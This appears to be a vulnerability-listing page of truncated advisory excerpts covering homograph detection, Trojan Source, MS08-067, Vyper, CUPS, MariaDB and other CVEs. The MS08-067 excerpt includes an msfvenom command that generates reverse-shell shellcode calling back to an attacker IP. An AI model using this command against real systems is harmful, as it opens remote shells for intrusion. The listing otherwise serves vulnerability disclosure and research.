huntglyph

huntglyph — Detect homograph attacks Homograph attacks leverage the visual similarity of characters from different writing systems e.g., Latin 'a' vs. Cyrillic 'а' to spoof domain names, filenames, or other identifiers, tricking users into believing they are interacting with a legitimate source...

CVE-2021-42574

Trojan Source:Invisible Vulnerabilities - Code generator — In simple terms, the vulnerability is that the code looks different from what it will be when compiled : The attack consists of using embedded control characters in comments and strings to reorder source code characters in a way that...

MS08-067

MS08-067 | CVE-2008-4250 Reference: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Shellcode Generation We will use msfvenom to genarate the shellcode. msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

CVE-2025-62727-Demo

CVE-2025-62727 Demo Victim Description The target victim of CVE-2025-62727 is a simple FastAPI app that: Serves Hello World at /. Serves static files under /static using Starlette's StaticFiles. Auto-generates text files containing A repeated N times for N in 1024, 2048, 50176 on startup. How to...

CVE-2026-114114

The Vyper smart contract programming language (versions 0.1.0b1 before 0.1.0b12, 0.1.0b14, and 0.4.1 through 0.5.0b1) is vulnerable to literal value substitution due to improper handling of Unicode encoding in vyper/ast/parse.py. The root cause is the mixing of character-based line offsets with P...

CVE-2026-114114 Vyper through 0.5.0b1 Literal Value Substitution via Multi-byte Characters

Vyper 0.1.0b1 before 0.1.0b12, 0.1.0b14, and 0.4.1 through 0.5.0b1 mix character-based line offsets with Python's UTF-8 byte coloffset values in vyper/ast/parse.py, so multi-byte characters shift the source slices used to reconstruct later numeric literals. An attacker contributing source with...

CVE-2026-112943

A flaw was found in launch-editor. When running on Windows systems, the package fails to properly escape percent characters when passing arguments to the Windows command shell. If an environment variable contains malicious values, an attacker could exploit this behavior to achieve arbitrary code...

CVE-2022-41220

Description of CVE-2022-41220 md2roff 1.9 suffers from a stack-based buffer overflow via a Markdown file containing a large number of consecutive characters to be processed. Replication To replicate the vulnerability, download a vulnerable version of md2roff version 1.9: git clone...

lazyCSRF

LazyCSRF LazyCSRF is a more useful CSRF PoC generator that runs on Burp Suite. No longer maintenance🙇 When I started developing lazyCSRF, I mistakenly thought that the CSRF PoC generator built into Burp Professional could not generate PoC using XHR and did not support PUT requests, etc. I am stil...

PT-2026-115914

MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, the MariaDB view FRM parser did not safely encode embedded newline characters in a username. An account with CREATE USER and CREATE VIEW WITH GRANT OPTION could...

PT-2026-115902

MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, the MariaDB view FRM parser did not safely encode embedded newline characters in a username. An account with CREATE USER and CREATE VIEW WITH GRANT OPTION could...

PT-2026-115926

MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, the MariaDB view FRM parser did not safely encode embedded newline characters in a username. An account with CREATE USER and CREATE VIEW WITH GRANT OPTION could...

EUVD-2026-54222

GitHub CLI allows attestation verification bypass through unescaped regex metacharacters...

CVE-2026-55467 CUPS fax option values bypass the CVE-2026-34980 control-character sanitizer (incomplete fix)

OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. Prior to 2.4.20, the cupsdCreateJob option-string builder in scheduler/job.c maps attacker-controlled destination-uri and pre-dial-string values from a configured fax queue to the phone and...

CVE-2026-55467 CUPS fax option values bypass the CVE-2026-34980 control-character sanitizer (incomplete fix)

OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. Prior to 2.4.20, the cupsdCreateJob option-string builder in scheduler/job.c maps attacker-controlled destination-uri and pre-dial-string values from a configured fax queue to the phone and...

CVE-2026-55467

OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. Prior to 2.4.20, the cupsdCreateJob option-string builder in scheduler/job.c maps attacker-controlled destination-uri and pre-dial-string values from a configured fax queue to the phone and...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, Linux, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: “vt: fix unicode buffer corruption when deleting characters” This is the same issue that was fixed for the VGA text buffer in commit 39cdb68c64d8 “vt: fix memory overlapping when deleting chars in the buffer”. The solution is als...

Astra Linux – Vulnerability in Shadow

In Shadow 4.13, it is possible to inject control characters into fields provided to the SUID program chfn change finger. Although it is not possible to exploit this directly for example, adding a new user fails because \n is in the block list, it is possible to misrepresent the /etc/passwd file...

Astra Linux – Vulnerability in Ruby 2.5

REXML is an XML toolkit for Ruby. The REXML gem before version 3.3.2 had some DoS vulnerabilities when parsing XML that contained many special characters, such as whitespace characters, , , and . The REXML gem versions 3.3.3 or later include patches to fix these vulnerabilities...

Astra Linux – Vulnerability found in Python 3.11, Python 2.7, Python 3.7, and Pypy

The email module in Python, as of version 3.11.3, incorrectly parses email addresses that contain special characters. The incorrect portion of the RFC2822 header is identified as the value of the addr-spec. In some applications, an attacker can bypass a protection mechanism by allowing access to...